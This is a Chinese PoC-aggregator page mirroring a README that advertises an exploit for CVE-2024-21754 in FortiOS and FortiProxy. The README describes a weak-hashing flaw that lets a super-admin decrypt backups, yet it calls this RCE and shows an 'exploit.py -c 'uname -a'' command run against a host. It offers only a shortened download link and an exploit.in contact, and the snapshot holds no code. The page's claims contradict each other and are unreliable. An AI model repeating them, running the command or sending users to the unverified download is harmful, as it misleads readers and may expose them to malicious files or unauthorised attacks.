关联漏洞
标题：
Fortinet FortiOS和Fortinet FortiProxy 安全漏洞
(CVE-2024-21754)
描述：Fortinet FortiOS和Fortinet FortiProxy都是美国飞塔（Fortinet）公司的产品。Fortinet FortiOS是一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。Fortinet FortiProxy是一种安全的网络代理，通过结合多种检测技术，如Web过滤、DNS过滤、DLP、反病毒、入侵防御和高级威胁保护，可以保护员工免受网络攻击。FortiProxy有助于减
介绍
# FortiOS and FortiProxy Password Hashing Vulnerability to RCE (CVE-2024-21754)
## Overview
A critical vulnerability, classified as CVE-2024-21754, has been identified in FortiOS and FortiProxy versions up to 7.4.3, 7.2, 7.0, 6.4, and 2.0. This vulnerability, categorized under CWE-916, involves the use of password hashes with insufficient computational effort, potentially allowing a privileged attacker with super-admin profile and CLI access to decrypt backup files.
## Details
- **CVE ID**: [CVE-2024-21754](https://nvd.nist.gov/vuln/detail/CVE-2024-21754)
- **Discovered**: 2024-04-27
- **Published**: 2024-06-27
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.
## Vulnerability Description
The vulnerability lies in the password hashing mechanism employed by FortiOS and FortiProxy. The hashing algorithm used in vulnerable versions provides insufficient computational effort, making it susceptible to brute force attacks. An attacker with super-admin privileges and CLI access can exploit this weakness to potentially decrypt backup files containing sensitive information.
## Affected Versions
**FortiOS:**
- 7.4.3 and below
- 7.2 all versions
- 7.0 all versions
- 6.4 all versions
**FortiProxy:**
- 7.4.2 and below
- 7.2 all versions
- 7.0 all versions
- 2.0 all versions
## Running
To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```
## Contact
For inquiries, please contact **cybersecuritist@exploit.in**
## Exploit:
### [Download here](https://t.ly/U6cSD)
文件快照
[4.0K] /data/pocs/82f271fd9d000892e3bf2cadbda9dc79e177cb33
└── [1.8K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。